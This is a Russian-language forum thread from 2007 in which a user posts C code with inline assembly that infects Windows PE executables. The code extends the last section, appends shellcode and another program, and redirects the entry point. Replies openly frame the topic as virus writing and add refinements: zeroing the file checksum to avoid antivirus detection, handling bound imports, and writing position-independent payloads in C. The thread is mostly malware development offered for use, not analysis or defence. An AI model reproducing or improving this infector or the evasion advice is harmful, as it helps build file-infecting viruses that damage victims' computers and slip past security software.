ЗАРАЖЕНИЕ методом расширения последней секции
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-17 00:19:12.283333
|
|
|
promix
Сообщений: 20
Оценки: 0
Присоединился: 2007-06-06 13:14:22.533333
|
Здравствуйте! Есть код, который заражает РЕ файл методом создания новой секции. Мне надо, чтобы он заражал методом записи в конец последней секции. И я изменил чуть данный код. Так вот, мне хотелось бы узнать, правилен ли измененный код и чего не хватает? BOOL Infect(PCHAR To,PCHAR From) { PVOID pExe = MapFile(To,0); if (pExe==NULL) return 0; if (!IsPe((char*)pExe)) return 0; if(IsInfect(To)) return 0; DWORD FileAlignment = GetFileAlignment(pExe); UnmapViewOfFile(pExe); HANDLE hFile = CreateFile(From, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile==INVALID_HANDLE_VALUE) return 0; DWORD FileSize = GetFileSize(hFile,0); CloseHandle(hFile); DWORD FileSizeFrom = FileSize; FileSize+=sizeof(shellcode); FileSize = ALIGN_UP(FileSize,FileAlignment); HANDLE hFile2 = CreateFile(To, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile2==INVALID_HANDLE_VALUE) return 0; DWORD NewSize = GetFileSize(hFile2,0); NewSize+=FileSize; CloseHandle(hFile2); pExe = MapFile(To,NewSize+FileAlignment); if (pExe==NULL) return 0; PIMAGE_NT_HEADERS pNt = GetPeHeader(pExe); PIMAGE_SECTION_HEADER pSection = GetSectionTable(pExe); PIMAGE_SECTION_HEADER pLastSection = pSection; for (int i=0;i<pNt->FileHeader.NumberOfSections;i++) { if (pSection->PointerToRawData>pLastSection->PointerToRawData && pSection->VirtualAddress>pLastSection->VirtualAddress) { pLastSection = pSection; } pSection++; } if (pLastSection->SizeOfRawData==0) return FALSE; pLastSection->SizeOfRawData=ALIGN_UP(pLastSection->SizeOfRawData,pNt->FileAlignment); pLastSection->Misc.VirtualSize=ALIGN_UP(pLastSection->Misc.VirtualSize,pNt->OptionalHeader.SectionAlignment); /*?*/ DWORD OEP = pNt->OptionalHeader.ImageBase + pNt->OptionalHeader.AddressOfEntryPoint; DWORD ToWrite = (DWORD)pExe + pLastSection->PointerToRawData + pLastSection->SizeOfRawData; /*?*/ pNt->OptionalHeader.AddressOfEntryPoint = pLastSection->VirtualAddress + pLastSection->SizeOfRawData; pLastSection->SizeOfRawData = pLastSection->SizeOfRawData + FileSize; pLastSection->Characteristics = 0xa0000020; pLastSection->Misc.VirtualSize = pLastSection->Misc.VirtualSize + ALIGN_UP(FileSize,4096); pNt->OptionalHeader.SizeOfImage = pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize/* + 4096*/; pNt->OptionalHeader.SizeOfCode = pNt->OptionalHeader.SizeOfImage; _asm { lea eax,shellcode mov edx,FileSizeFrom mov dword ptr [eax+OffsetFileSize],edx mov edx,OEP mov dword ptr [eax+OEPOffset],edx } memcpy((PVOID)ToWrite,shellcode,sizeof(shellcode)); ToWrite+=sizeof(shellcode); PVOID MapFileFrom = MapFile(From,0); if (MapFileFrom==NULL) return 0; if (!IsPe((char*)MapFileFrom)) return 0; memcpy((PVOID)ToWrite,MapFileFrom,FileSizeFrom); return TRUE; } shellcode-массив, внедряемый в файл. MapFile()-функция мэппинга файла.
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-18 05:32:53.520000
|
|
|
promix
Сообщений: 20
Оценки: 0
Присоединился: 2007-06-06 13:14:22.533333
|
Народ, ну что, никто не может подсказать? Действительно очень надо.
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-18 12:00:33.123333
|
|
|
tt_andrey
Сообщений: 213
Оценки: 0
Присоединился: 2007-07-03 13:54:36.440000
|
Ты хочешь, чтобы народ сломал себе глаза и моск, читая неотформатированный код без отступов?
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 19:04:29.083333
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
Аффтар, дуй на http://wasm.ru сливай полную копию себе на жеский и читай .. там оч много полезного .. и по вирусологии тоже. ЗЫ: прежде, чем расширять последнюю секцию, надо проверить наличие боунд-импорта и если он есть, то передвинуть его.
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 21:53:05.423333
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
Вроде всё впорядке. Но чтобы проверить надо запустить, а ковыряться в твоём коде я не хочу, у меня своих вирей достаточно :)) З.Ы. Я бы посоветовал ещё сбросить чексумму файла в 0 (PE+58h), а то битая чексумма может спровоцировать антивирусник :))
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 21:59:10.153333
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
quote:
ORIGINAL: blacksun прежде, чем расширять последнюю секцию, надо проверить наличие боунд-импорта и если он есть, то передвинуть его. blacksun, ты хотел сказать "прежде, чем добавлять новую секцию"?
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 22:18:19
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
quote:
ORIGINAL: redsh quote:
ORIGINAL: blacksun прежде, чем расширять последнюю секцию, надо проверить наличие боунд-импорта и если он есть, то передвинуть его. blacksun, ты хотел сказать "прежде, чем добавлять новую секцию"? Читай название топика: ".. расшырение"
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 22:19:40.850000
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
http://wasm.ru/article.php?article=pe_inf#3 Оч хороший тутор, как и весь http://wasm.ru
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 23:06:43.180000
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
quote:
ORIGINAL: blacksun quote:
ORIGINAL: redsh quote:
ORIGINAL: blacksun прежде, чем расширять последнюю секцию, надо проверить наличие боунд-импорта и если он есть, то передвинуть его. blacksun, ты хотел сказать "прежде, чем добавлять новую секцию"? Читай название топика: ".. расшырение" Объясни дураку, как bound-импорты могут помешать расширить последнюю секцию. Они вроде бы после таблицы секций, а не в конце файла…
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 23:27:38.813333
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
quote:
ORIGINAL: redsh quote:
ORIGINAL: blacksun quote:
ORIGINAL: redsh quote:
ORIGINAL: blacksun прежде, чем расширять последнюю секцию, надо проверить наличие боунд-импорта и если он есть, то передвинуть его. blacksun, ты хотел сказать "прежде, чем добавлять новую секцию"? Читай название топика: ".. расшырение" Объясни дураку, как bound-импорты могут помешать расширить последнюю секцию. Они вроде бы после таблицы секций, а не в конце файла… Я в виреписании сам неочень разбираюсь, но в какомто тутре с васма читал, что боунд импорт помешает и его надо передвинуть, если туплю - поправте)) ЗЫ: руки уже глючат, пойду ка я спать :)
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-22 02:41:16.950000
|
|
|
promix
Сообщений: 20
Оценки: 0
Присоединился: 2007-06-06 13:14:22.533333
|
Насчет боунд-импортов: может их лучше затереть нулем? За линки спасибо, почитал - немного все разъяснилось. Насчет чексуммы тоже, попробую:) Еще вот хотел спросить: shellcode в данном примере - это массив машинных команд. А есть ли способ и какой писать этот базонезависимый код только на С/С++?
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-22 09:30:59.400000
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
quote:
ORIGINAL: blacksun Я в виреписании сам неочень разбираюсь, но в какомто тутре с васма читал, что боунд импорт помешает и его надо передвинуть, если туплю - поправте)) Читал я этот тутор. Там написано, что если хочешь добавить новую секцию, то тебе придётся изменять размер таблицы секций. Но перед этим стоит проверить, нет ли после таблицы секций bound-import-ов. Если они есть, то их нужно передвинуть, но перед этим проверить, не залезут ли они в первую секцию. В общем, загляни ещё разок в этот тутор, ок? 2promix нащёт bound-импортов не беспокойся, это blacksun всё поперепутал:))
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-22 10:41:07.580000
|
|
|
tt_andrey
Сообщений: 213
Оценки: 0
Присоединился: 2007-07-03 13:54:36.440000
|
quote:
Насчет боунд-импортов: может их лучше затереть нулем? За линки спасибо, почитал - немного все разъяснилось. Насчет чексуммы тоже, попробую:) Еще вот хотел спросить: shellcode в данном примере - это массив машинных команд. А есть ли способ и какой писать этот базонезависимый код только на С/С++? что-то типа char shellcode[] = "\x31\x32\x33\x5f\xfd\x0d"; ?
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-22 12:37:24.616666
|
|
|
dalfos
Сообщений: 30
Оценки: 0
Присоединился: 2007-08-21 20:46:10.450000
|
Можно сделать немного по-другому написать функцию на c/c++, в которой задать статические переменные, а перед заражением файла прописать в них нужную информацию (в том числе и базу). Собственно, что то подоное я делал, но давно, если поискать может и исходник найду.
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-22 12:42:10.766666
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
quote:
Читал я этот тутор. Там написано, что если хочешь добавить новую секцию, то тебе придётся изменять размер таблицы секций. Но перед этим стоит проверить, нет ли после таблицы секций bound-import-ов. Если они есть, то их нужно передвинуть, но перед этим проверить, не залезут ли они в первую секцию. В общем, загляни ещё разок в этот тутор, ок? Так и знал, что что то напутал) Перечитаю исчо раз, а то малоли, чего я еще неправильно понял ..
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-25 15:06:48.750000
|
|
|
promix
Сообщений: 20
Оценки: 0
Присоединился: 2007-06-06 13:14:22.533333
|
Всем спасибо.
|
|
|
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-28 00:23:15.436666
|
|
|
ChooseDeath
Сообщений: 19
Оценки: 0
Присоединился: 2007-07-30 15:13:05.753333
|
Мож я чёт не понимаю, ил чё… Я делал так : в pe-заголовке увеличивал размер образа на размер функции, которую хотел внедрить, писал функцию в конец файла, и изменял rva точки входа на свою функцию и сё, всё прекрасно работало..
|
|
|
|
|